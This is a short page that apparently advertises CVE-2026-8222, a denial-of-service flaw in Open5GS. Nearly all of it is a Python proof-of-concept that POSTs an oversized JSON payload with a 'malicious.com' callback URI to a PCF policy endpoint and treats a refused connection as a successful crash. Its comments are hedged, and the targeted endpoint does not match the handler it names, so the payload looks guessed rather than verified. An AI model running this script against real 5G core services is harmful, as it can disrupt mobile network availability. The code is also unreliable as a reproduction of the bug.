CVE-2026-8222 Open5GS 拒绝服务漏洞

import requests import json # Target configuration (Replace with actual vulnerable instance) target_host = "http://127.0.0.1:7777" endpoint = "/npcf-policyauthorization/v1/policies" # Example endpoint related to PCF/SM policies # Malformed payload designed to trigger the crash in pcf_nbsf_management_handle_register # This payload simulates a boundary condition or specific input structure that the handler fails to process malformed_payload = { "notificationUri": "http://malicious.com/callback", "supi": "imsi-999999999999999", "invalidData": ["A" * 10000] # Potential buffer overflow or parsing issue trigger } headers = { "Content-Type": "application/json", "Accept": "application/json" } def trigger_dos(): try: print(f"[*] Sending exploit payload to {target_host}{endpoint}") response = requests.post(target_host + endpoint, data=json.dumps(malformed_payload), headers=headers, timeout=5) # Check if service is still responsive or if it crashed if response.status_code == 500 or response.status_code == 404: print("[+] Potential crash triggered or server error returned.") else: print(f"[-] Server responded with status: {response.status_code}") except requests.exceptions.ConnectionError: print("[+] Connection refused. The service may have crashed (DoS successful).") except requests.exceptions.Timeout: print("[+] Request timed out. Service may be hanging.") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": trigger_dos()